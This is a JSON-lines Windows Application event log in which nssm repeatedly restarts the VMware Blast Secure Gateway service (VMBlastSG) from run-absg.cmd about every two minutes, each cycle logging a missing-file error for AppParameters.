{"@timestamp":1646639791715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154615}}
{"@timestamp":1646639791716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154616}}
{"@timestamp":1646639920213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154617}}
{"@timestamp":1646639920214,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154618}}
{"@timestamp":1646639920214,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152504","0"]}}},"module":"Application","provider":"nssm","sequence":154619}}
{"@timestamp":1646639920215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152504","152504","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154620}}
{"@timestamp":1646639920231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154621}}
{"@timestamp":1646639920232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154622}}
{"@timestamp":1646639920232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154623}}
{"@timestamp":1646639920233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154624}}
{"@timestamp":1646640048709,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154625}}
{"@timestamp":1646640048710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154626}}
{"@timestamp":1646640048711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148000","0"]}}},"module":"Application","provider":"nssm","sequence":154627}}
{"@timestamp":1646640048711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148000","148000","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154628}}
{"@timestamp":1646640048727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154629}}
{"@timestamp":1646640048728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154630}}
{"@timestamp":1646640048728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154631}}
{"@timestamp":1646640048729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154632}}
{"@timestamp":1646640177319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154633}}
{"@timestamp":1646640177320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154634}}
{"@timestamp":1646640177321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151680","0"]}}},"module":"Application","provider":"nssm","sequence":154635}}
{"@timestamp":1646640177321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151680","151680","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154636}}
{"@timestamp":1646640177336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154637}}
{"@timestamp":1646640177337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154638}}
{"@timestamp":1646640177337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154639}}
{"@timestamp":1646640177338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154640}}
{"@timestamp":1646640305806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154641}}
{"@timestamp":1646640305807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154642}}
{"@timestamp":1646640305808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150384","0"]}}},"module":"Application","provider":"nssm","sequence":154643}}
{"@timestamp":1646640305808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150384","150384","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154644}}
{"@timestamp":1646640305824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154645}}
{"@timestamp":1646640305824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154646}}
{"@timestamp":1646640305825,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154647}}
{"@timestamp":1646640305825,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154648}}
{"@timestamp":1646640434312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154649}}
{"@timestamp":1646640434313,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154650}}
{"@timestamp":1646640434313,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151756","0"]}}},"module":"Application","provider":"nssm","sequence":154651}}
{"@timestamp":1646640434314,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151756","151756","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154652}}
{"@timestamp":1646640434329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154653}}
{"@timestamp":1646640434329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154654}}
{"@timestamp":1646640434330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154655}}
{"@timestamp":1646640434330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154656}}
{"@timestamp":1646640562827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154657}}
{"@timestamp":1646640562828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154658}}
{"@timestamp":1646640562829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150728","0"]}}},"module":"Application","provider":"nssm","sequence":154659}}
{"@timestamp":1646640562830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150728","150728","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154660}}
{"@timestamp":1646640562845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154661}}
{"@timestamp":1646640562846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154662}}
{"@timestamp":1646640562846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154663}}
{"@timestamp":1646640562847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154664}}
{"@timestamp":1646640691356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154665}}
{"@timestamp":1646640691357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154666}}
{"@timestamp":1646640691358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151532","0"]}}},"module":"Application","provider":"nssm","sequence":154667}}
{"@timestamp":1646640691358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151532","151532","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154668}}
{"@timestamp":1646640691374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154669}}
{"@timestamp":1646640691375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154670}}
{"@timestamp":1646640691375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154671}}
{"@timestamp":1646640691376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154672}}
{"@timestamp":1646640819856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154673}}
{"@timestamp":1646640819857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154674}}
{"@timestamp":1646640819857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152404","0"]}}},"module":"Application","provider":"nssm","sequence":154675}}
{"@timestamp":1646640819858,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152404","152404","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154676}}
{"@timestamp":1646640819873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154677}}
{"@timestamp":1646640819874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154678}}
{"@timestamp":1646640819874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154679}}
{"@timestamp":1646640819875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154680}}
{"@timestamp":1646640948370,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154681}}
{"@timestamp":1646640948372,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154682}}
{"@timestamp":1646640948372,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151704","0"]}}},"module":"Application","provider":"nssm","sequence":154683}}
{"@timestamp":1646640948373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151704","151704","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154684}}
{"@timestamp":1646640948388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154685}}
{"@timestamp":1646640948388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154686}}
{"@timestamp":1646640948389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154687}}
{"@timestamp":1646640948390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154688}}
{"@timestamp":1646641076874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154689}}
{"@timestamp":1646641076875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154690}}
{"@timestamp":1646641076876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152524","0"]}}},"module":"Application","provider":"nssm","sequence":154691}}
{"@timestamp":1646641076877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152524","152524","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154692}}
{"@timestamp":1646641076892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154693}}
{"@timestamp":1646641076892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154694}}
{"@timestamp":1646641076893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154695}}
{"@timestamp":1646641076894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154696}}
{"@timestamp":1646641205515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154697}}
{"@timestamp":1646641205516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154698}}
{"@timestamp":1646641205517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152284","0"]}}},"module":"Application","provider":"nssm","sequence":154699}}
{"@timestamp":1646641205517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152284","152284","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154700}}
{"@timestamp":1646641205533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154701}}
{"@timestamp":1646641205533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154702}}
{"@timestamp":1646641205534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154703}}
{"@timestamp":1646641205535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154704}}
{"@timestamp":1646641334380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154705}}
{"@timestamp":1646641334381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154706}}
{"@timestamp":1646641334381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152516","0"]}}},"module":"Application","provider":"nssm","sequence":154707}}
{"@timestamp":1646641334382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152516","152516","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154708}}
{"@timestamp":1646641334401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154709}}
{"@timestamp":1646641334402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154710}}
{"@timestamp":1646641334403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154711}}
{"@timestamp":1646641334404,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154712}}
{"@timestamp":1646641462998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154713}}
{"@timestamp":1646641462998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154714}}
{"@timestamp":1646641462999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152148","0"]}}},"module":"Application","provider":"nssm","sequence":154715}}
{"@timestamp":1646641462999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152148","152148","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154716}}
{"@timestamp":1646641463015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","145048","0"]}}},"module":"Application","provider":"nssm","sequence":154717}}
{"@timestamp":1646641463015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["145048","152148","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154718}}
{"@timestamp":1646641463030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154719}}
